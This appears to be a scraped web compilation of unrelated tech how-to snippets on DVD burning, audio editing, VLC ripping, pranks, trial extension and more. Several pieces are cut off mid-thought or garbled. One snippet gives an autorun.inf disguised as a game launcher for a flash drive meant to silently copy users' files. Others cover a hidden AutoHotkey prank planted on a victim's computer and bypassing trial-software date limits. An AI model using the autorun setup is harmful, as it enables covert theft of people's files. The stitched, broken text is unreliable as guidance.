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How to Burn Any Video File to a Playable Video DVD

How to Burn Any Video File to a Playable Video DVD
With your BitTorrent addiction in full swing, you've filled hard drives with media but can't seem to figure out how to burn any of the videos you downloaded to a DVD. Sound familiar? It's a common problem, and there was a time that it didn't have many simple (or free) solutions. DVD Flick First and foremost, there's DVD Flick, a free, open-source application that supports over 45 different file formats, includes subtitle support, and makes creating a DVD from most common (and even uncommon) video files a breeze. Free DVD Creator If DVD Flick isn't your thing, then check out Free DVD Creator. Also like DVD Flick, the Free DVD Creator wizard is dead simple to use. If you have trouble with the one step convert-and-burn (when I tested it, Free DVD Creator created the DVD but didn't immediately burn), just re-open Free DVD Creator and this time select Video DVD Burner instead of Create Video DVD. Got a favorite tool for burning your various videos to DVD? Free DVD Creator [via Life Rocks 2.0]

How To Remove Vocals From Music Tracks Using Audacity Ever get a sudden, inexplicably irresistible desire for karaoke? Maybe you like the music of a song but can’t stand the lead singer? Here’s how to use remove the vocals from most music tracks in a few simple steps. How It Works Vocals are normally placed in the “center channel.” On the whole, however this process works really well if you start with good quality audio. Removing the Center Channel Fire up Audacity and load your song of choice. The first thing we need to do is break the song’s two channels into two separate tracks. Next, pick a channel (it doesn’t matter which) and double click to select the entire track. Go to Effect > Invert. If you hit play, you’ll notice the song sounds a little funny. That’s it! Yatri Trivedi is a monk-like geek.

How To Make Electronic Music With Computer? Where To Start? I decided to write down some guidelines on how to make electronic music (although some of the following tips may apply to other musical genres as well, not just electronic music) covering such things as what hardware is required or recommended, what kind of music making software is needed, how to get a hang of different kind of electronic music styles, etc. There’s a lot of choices in hardware and software, countless of ways to do things in production wise and as many arguments and differing opinions as there are producers. In this article I try to point you to the right direction in electronic music production, muchly based on my own experience. A little info about myself is that electronic music production has been my longtime hobby for years and I’ve been creating tunes on such genres as trance, downtempo, ambient and experimental. So, without further ado, let’s begin! 1. Computer is naturally a must have hardware if you wan’t to make electronic music. 2. Interesting discussion: 3. 4.

Make Money in Your Spare Time Doing Simple Online Tasks Yes, many "online jobs" promising quick riches and little effort are really scams. While the tasks below won't make you rich, they can earn you a little pocket money on the side—and these days that can make a big difference. Photo by Janis Neilands Most of these online money making opportunities only require you have a computer, a decent internet connection, and some sort of marketable skill (or the ability to provide valuable consumer insight to marketers). Sound too good to be true? Also beware: because specialized skills aren't always required, you do have to be wary of scams. That out of the way, here are a few sources of legitimate online single-task jobs: Focus Group Participant: 20|20 Panel: Since 1986, 20|20 Research has been providing companies with qualitative research from focus groups. Artificial Artificial Intelligence: Amazon Mechanical Turk: Yeah, that's a weird title. Know any other ways to make a quick buck online (legitimately, that is)?

How To Rip DVDs with VLC Yesterday we took a look at the new feature in VLC 1.0 which allows you to record DVDs to your computer. There is also an overlooked feature in VLC that allows you to rip your DVDs as well. Here we will take a look at how to rip DVD movies with VLC for Windows. Note: This feature should work with VLC versions 0.9.6 and up. Ripping a DVD with VLC Load up the DVD you want to rip and start up VLC. The Open Media window will appear and you want to click on the Disc tab. Next the Convert screen opens where you will want to select a location for the ripped file. While you are browsing to the location to put the ripped file make sure to give it a name and a supported extension. When everything is set up the Convert screen will look something like this where we have the source drive and destination file with appropriate extension. While the DVD is being ripped you will see a progress count in the main UI. You may notice a slowdown of your system as the process takes up a lot of resources.

How to make flash drive that copy's users files silently and automatically Ok there is no order in the file creation process just that you have all files created and on the flash drive. I will start out with the autorun.inf. This file is used when you insert the flash drive into said computer. Here is the code, you will have to open a simple word editor such as word, you can past this code into word and edit to your hearts content. [autorun] icon=drive.icoopen=launch.bataction=Click ok to Run game for Windowsshell\open\command=launch.bat a couple of notes the code is between the lines not the lines at all so dont put them in your autorun file. also when you save this file after editing or pasing this in the editor make shure you save it as all files and put a .inf after it... like this autorun.inf look at pic two if you have any issues. You can change the icon to your tastes what you will have to do is find a .png a png file is an icon file. next is the open= command this code takes the launch batch file and opens it.. more on the launch batch file later.

The 10 Most Ridiculously Awesome Geeky Computer Pranks Everybody loves a good prank… unless you are the one on the receiving end of the fun. It’s time to hone your pranking skills, not just to make sure you are the best, but so you can avoid being pranked by others. Yeah, sure, we could go with the old standards, like a blue screen of death screensaver or something like that, but it’s time to use our geek skills and come up with something better. Disclaimer: Get a sense of humor. Make the Space Key Write the Word SPACE Here’s a clever prank for you: Make the victim’s computer actually type the word “SPACE” every time they hit the space bar. Just create a new AutoHotkey script and drop in the following two lines of code—the first one is to hide the tray icon, and the second sets up the hotkey for replacing the text. #NoTrayIcon *Space::Send,SPACE You’ll probably want to right-click on the script and compile it to an executable before putting it on their computer. Pretend to Install Linux on a Windows User’s PC with a Live CD That’s it. Bonus?

How to configure your Xbox 360 Controller for Windows on a Windows XP- or Vista-based computer When you perform a calibration, you set the range of motion for the axes of the controller. You don't have to calibrate the controller unless you want to customize the range of motion of the axes. To calibrate the Xbox 360 Controller for Windows, plug your controller into one of your computer’s USB ports and follow these steps. Open the Game Controllers window: In Windows 10, type joy.cpl in the Search box, and then select the joy.cpl result to bring up the Game Controllers window. In Windows 8.1, swipe in from the right edge of the screen, and then select Search. Was this article helpful? Yes No Thank you for your feedback We're sorry this article didn't solve your problem. Get help from the community Ambassador chat Chat one on one with a fellow Xbox User who wants to help.

Are you looking to extend those trial applications? | Ask The Admin So maybe you downloaded a trial application and you have not finished evaluating it? Maybe you have been using that trial application and now it has expired and you need to export your data. No matter if you are being good or evil NirSoft’s application will do the trick for ya! Check it out: A few years ago I wrote about a little freeware utility that allowed you to remove the date protection that is found on most trial software. You see, there are so many free trial versions of software out there. Now, I am not saying I do it… and of course this article is for educational purposes only, but there are ways to extend the trial date, or at least fool the trial program into thinking it is still running in the trial period. Enter RunAsDate from NirSoft! RunAsDate is a small utility that allows you to run a program in the date and time that you specify. How it works from their page: Know of another utility that can extend the date for trial ware? By El Di Pablo of Bauer-Power

70 creative Gimp tutorials Gimp Tutorials in this review include a handpicked selection of creative Gimp tutorials for intermediate and advanced users. Gimp is a free multiplatform image editing tool, using Gimp you can achieve pretty much everything what can be done in pricey Photoshop. These Gimp tutorials will help you to learn text, Gimp photo editing, advanced photo manipulations such as changing colors, background, remove objects, proper black and white conversion in Gimp. You’ll also learn by following these Gimp tutorials how to design poster, website, wallpaper, logo and icons with Gimp. Gold Plated Effect Gimp One of the best Gimp tutorials explains how to convert image colors into golden sun color shades. Speed Effect with The GIMP Tutorial Turn a static car photo into a speeding car with this Gimp Tutorial. Vintage look in Gimp Create your own vintage image with one of the best gimp tutorials. Text filled with image Gimp tutorial How to fill in text with image in Gimp you’ll learn using this tutorial.

Improve Your Google Search Skills [Infographic] Don’t limit yourself to just plugging in simple search terms to Google; check out this infographic and learn a search string search or two. You don’t need to limit yourself to searching just for simple strings; Google supports all manner of handy search tricks. If you want to search just HowToGeek.com’s archive of XBMC articles, for example, you can plug in site:howtogeek.com XBMC to search our site. Get More Out of Google [HackCollege via Mashable] Jason Fitzpatrick is a warranty-voiding DIYer who spends his days cracking opening cases and wrestling with code so you don't have to.

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